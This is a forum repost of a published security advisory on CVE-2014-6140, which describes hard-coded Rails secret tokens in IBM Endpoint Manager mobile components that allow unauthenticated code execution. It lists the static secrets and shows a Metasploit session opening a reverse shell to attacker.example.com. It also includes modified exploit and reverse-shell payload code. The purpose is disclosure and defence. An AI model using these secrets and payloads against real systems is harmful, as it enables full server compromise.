Aerosol Posted December 3, 2014 Report Posted December 3, 2014 During a penetration test, RedTeam Pentesting discovered that several IBM Endpoint Manager Components are based on Ruby on Rails and use static secret_token values. With these values, attackers can create valid session cookies containing marshalled objects of their choosing. This can be leveraged to execute arbitrary code when the Ruby on Rails application unmarshals the cookie. Versions prior to 9.0.60100 are affected.Sursa: http://dl.packetstormsecurity.net/1412-exploits/rt-sa-2014-012.txtAdvisory: Unauthenticated Remote Code Execution in IBM Endpoint Manager Mobile Device Management ComponentsDuring a penetration test, RedTeam Pentesting discovered that severalIBM Endpoint Manager Components are based on Ruby on Rails and usestatic secret_token values. With these values, attackers can createvalid session cookies containing marshalled objects of their choosing.This can be leveraged to execute arbitrary code when the Ruby on Railsapplication unmarshals the cookie.Details=======Product: IBM Endpoint Manager for Mobile DevicesAffected Components: Enrollment and Apple iOS Management Extender, Mobile Device Management Self-Service Portal, Mobile Device Management Admin Portal and Trusted Service ProviderAffected Versions: All versions prior to 9.0.60100Fixed Versions: 9.0.60100Vulnerability Type: Unauthenticated Remote Code ExecutionSecurity Risk: highVendor URL: http://www-03.ibm.com/software/products/en/ibmendpmanaformobidevi http://www-01.ibm.com/support/docview.wss?uid=swg21691701Vendor Status: fixed version releasedAdvisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-012Advisory Status: publishedCVE: CVE-2014-6140CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6140Introduction============"IBM Endpoint Manager for Mobile Devices provides a completely integratedapproach for managing, securing, and reporting on laptops, desktops,servers, smartphones, tablets, and even specialty devices such aspoint-of-sale terminals. This provides customers with unprecedentedreal-time visibility and control over all devices employees use in theirdaily job functions; reducing costs, increasing productivity, andimproving compliance."(from the vendor's homepage)More Details============IBM Endpoint Manager for Mobile Devices is part of the IBM EndpointManager (IEM, formerly Tivoli Endpoint Manager, or TEM) product family.Several components related to mobile device management can be installedeither on the main TEM Server, or on so-called TEM Relays, and are thenaccessible via HTTPS at port 443 of the respective system, such as: Path Component / Enrollment and Apple iOS Management Extender /ssp/ Mobile Device Management Self-Service Portal /ap/ Mobile Device Management Admin Portal /tsp/ Trusted Service ProviderWhen issuing HTTP requests to any of these paths, the respective serverresponds in a manner similar to the following example:$ curl -skI https://tem.example.com/HTTP/1.1 200 OKContent-Type: text/html;charset=UTF-8X-UA-Compatible: IE=Edge,chrome=1[...]Set-Cookie: _mdm_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZjYTIxNjU wODg1ODFiMTYxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkk iMTQ2S2V3blNnQ1cxeGpaN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ 9BjsARg%3D%3D--e48265ee63dd90381caa92248d27162f67b1ea06; path=/; secure; HttpOnly[...]X-Rack-Cache: missContent-Length: 0Server: Jetty(8.1.14.v20131031)While the Server header indicates that the web applications are hostedon a Jetty Java application server, the X-Rack-Cache header and thecookie format are typically used by Ruby on Rails applications. Thecookie is in fact a Base64 encoded marshalled Ruby object protected byan HMAC (the hexadecimal value following the two dashes). The cookievalue can be unmarshalled as follows:$ ruby -e 'puts Marshal.load("BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZj'\'YTIxNjUwODg1ODFiMTYxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiM'\'TQ2S2V3blNnQ1cxeGpaN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ9BjsARg==".'\'unpack("m0")[0])'{"session_id"=>"8cf6ca2165088581b161cafa0a604837", "_csrf_token"=>"46KewnSgCW1xjZ7XR3HK265eAiOmkl1o/daRN5x3v94="}To create a cookie with a valid HMAC requires knowledge of a secretstored on the application server. In Ruby on Rails version 3applications, this value is normally stored in the variable secret_tokenthat is set in the file config/initializers/secret_token.rb. It is goodpractice to generate these values randomly when an application isinstalled. The IBM Endpoint Manager components, however, use staticvalues that are the same across all installations. These values can bedetermined by manually inspecting the web application archives (e.g.ap.war, ios.war, ssp.war, tsp.war) installed into the directoryC:\Program Files\BigFix Enterprise\Management Extender\MDM Provider\webappsof the respective server. The Enrollment and Apple iOS ManagementExtender, for example, is contained in the file ios.war. The archivecontains a Ruby on Rails web application that was compiled to Java classfiles. The secret token needed for calculating the HMAC is contained inthe file WEB-INF/config/initializers/secret_token.class:$ strings WEB-INF/config/initializers/secret_token.class \ | egrep -o '[0-9a-f]{128}'65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730d11d53e02cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365It can be verified that this secret is used for generating the HMAC thatprotects the cookie value by using the OpenSSL command line utility tocalculate an HMAC of the aforementioned Base64 encoded data:$ echo -n 'BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZjYTIxNjUwODg1ODFiMT'\'YxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMTQ2S2V3blNnQ1cxeG'\'paN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ9BjsARg=='\ | openssl dgst -sha1 -hmac '65c0eb133b2c8481b08b41cfc0969cbdd540f3c1'\'ce0fd66be2d24ffc97d09730d11d53e02cac31753721610ad7dc00f6f9942e3825fd'\'4895a4e2805712fa6365'(stdin)= e48265ee63dd90381caa92248d27162f67b1ea06The resulting value is identical to the HMAC originally appended to thecookie. Once the secret is known, arbitrary cookie values can be craftedand sent to the respective application for further processing. Asdemonstrated by Metasploit's rails_secret_deserialization exploitmodule[0], this can be leveraged into executing arbitrary code on theapplication server (see also Proof of Concept below).For reference, the following cookie names and secret_token values wereidentified for the different web applications:Enrollment and Apple iOS Management ExtenderPath: /Cookie: _mdm_sessionSecret: 65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730 d11d53e02cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365Mobile Device Management Self-Service PortalPath: /ssp/Cookie: _self-service-portal_sessionSecret: c5f5da7e3ae1baa9a10f4429b5e7c8aec217b3b53851272bd8f533d47acade48 0863a810630039c7987b04ff70c125512e74a998f8a028080c05265a97c747a3Mobile Device Management Admin PortalPath: /ap/Cookie: _admin-portal_sessionSecret: 2556dea5fbbd90c4a79202a43bdf9bd4c391c67159d021ea8bc478f29801d024 78acb273c2f425cf487c27669af5dbc3fdaf7f870e23a0a544dee04ab2169220Trusted Service ProviderPath: /tsp/Cookie: _trusted-services-provider_sessionSecret: b52a3979462299e3a11f6c7c893a980f312fa8e5944fb8fdc74a400c55677aed ba00ce6df9e2d9ef1525c6ab68a2b6dca9e9ba557c0c6d579a1325ec6338178bExploiting the Trusted Service Provider application was not tested, dueto the lack of a properly configured testing environment. However, it isa Ruby on Rails web application deployed to the Jetty application serverjust like the other applications so that it is likely also vulnerable.This was confirmed by the vendor.Proof of Concept================The following listing shows a sample Metasploit session demonstratingthe execution of arbitrary code through the Enrollment and Apple iOSManagement Extender application:------------------------------------------------------------------------msf > use exploit/multi/http/rails_secret_deserializationmsf exploit(rails_secret_deserialization) > set PAYLOAD ruby/shell_reverse_tcpPAYLOAD => ruby/shell_reverse_tcpmsf exploit(rails_secret_deserialization) > set LHOST attacker.example.comLHOST => attacker.example.commsf exploit(rails_secret_deserialization) > set RHOST tem.example.comRHOST => tem.example.commsf exploit(rails_secret_deserialization) > set RPORT 443RPORT => 443msf exploit(rails_secret_deserialization) > set SSL trueSSL => truemsf exploit(rails_secret_deserialization) > set SSLVERSION TLS1SSLVERSION => TLS1msf exploit(rails_secret_deserialization) > set SECRET 65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730d11d53e02cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365SECRET => 65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730d11d53e02cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365msf exploit(rails_secret_deserialization) > set PrependFork falsePrependFork => falsemsf exploit(rails_secret_deserialization) > exploit[*] Started reverse handler on attacker.example.com:4444[*] Checking for cookie[*] Adjusting cookie name to _mdm_session[+] SECRET matches! Sending exploit payload[*] Sending cookie _mdm_session[*] Command shell session 1 opened (attacker.example.com:4444 -> tem.example.com:50169) at 2014-08-15 13:37:31 +0200cmd.exe /c verwhoamiMicrosoft Windows [Version 6.1.7601]nt authority\system------------------------------------------------------------------------The following changes needed to be applied to the Metasploit Frameworkto be able to exploit the issue. Most of them were required to addresspeculiarities of the Java/JRuby environment, such as the lack of supportfor Kernel.fork():------------------------------------------------------------------------diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rbindex 7803dd5..e72d8c2 100644--- a/modules/exploits/multi/http/rails_secret_deserialization.rb+++ b/modules/exploits/multi/http/rails_secret_deserialization.rb@@ -141,20 +141,25 @@ class Metasploit3 < Msf::Exploit::Remote #- # This stub ensures that the payload runs outside of the Rails process- # Otherwise, the session can be killed on timeout+ # This stub tries to ensure that the payload runs outside of the Rails+ # process Otherwise, the session can be killed on timeout # def detached_payload_stub(code) %Q^ code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first- if RUBY_PLATFORM =~ /mswin|mingw|win32/- inp = IO.popen("ruby", "wb") rescue nil- if inp- inp.write(code)- inp.close- end+ if RUBY_PLATFORM =~ /mswin|mingw|win32/ and inp = (IO.popen("ruby", "wb") rescue nil)+ inp.write(code)+ inp.close else- Kernel.fork do+ def _fork+ begin+ Kernel.fork+ rescue NotImplementedError+ -1+ end+ end+ pid = _fork+ if 0 == pid or -1 == pid eval(code) end end@@ -234,7 +239,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => datastore['HTTP_METHOD'], }, 25) if res && !res.get_cookies.empty?- match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)+ match = res.get_cookies.match(/([_A-Za-z0-9-]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) end if matchdiff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rbindex f17c669..0100929 100644--- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb+++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb@@ -37,8 +37,31 @@ module Metasploit3 def ruby_string lhost = datastore['LHOST'] lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)- "require 'socket';c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" +- "$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +- "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"+ ruby = <<-EOF+require 'socket'+c=TCPSocket.new("#{lhost}", #{datastore['LPORT'].to_i})+def reopen(old, new)+ begin+ old.reopen(new)+ rescue IOError => e+ new+ end+end++$stdin = reopen($stdin, c)+$stdout = reopen($stdout, c)+$stderr = reopen($stderr, c)+$stdin.each_line{ |l| l=l.strip++ next if l.length==0++ (IO.popen(l,"rb") { |fd|+ fd.each_line { |o|+ c.puts(o.strip)+ }+ }) rescue nil+}+ EOF+ ruby end end------------------------------------------------------------------------Workaround==========It might be possible to binary patch the Java class files to use adifferent secret_token value and redeploy the application. This isuntested, however.Fix===Install version 9.0.60100 of the affected software components.Security Risk=============The vulnerability allows unauthenticated remote attackers to executearbitrary code with administrative privileges on the affected systems.It is highly likely that a successful attack on the application servercan also be leveraged into a full compromise of all devices managedthrough the product. This constitutes a high risk.Timeline========2014-07-29 Vulnerability identified during a penetration test2014-08-06 Customer approves disclosure to vendor2014-08-15 Vendor notified, vendor acknowledges receiving the advisory2014-09-03 Update requested from vendor2014-09-05 Vendor promises to respond with more details2014-09-26 Update requested from vendor2014-09-30 Vendor promises to respond with more details2014-10-16 Update requested from vendor2014-10-16 Vendor responds with CVE-ID, plans release for mid-November2014-11-06 More definite release schedule requested2014-11-12 Vendor plans release for last week of November2014-11-21 Additional details requested from vendor2014-11-22 Vendor responds with details, postpones release to mid-December due to issues discovered during quality control2014-12-01 Vendor announces imminent release2014-12-01 Vendor releases security bulletin and software upgrade2014-12-02 Customer approves public disclosure2014-12-02 Advisory releasedReferences==========[0] https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_secret_deserialization.rb Quote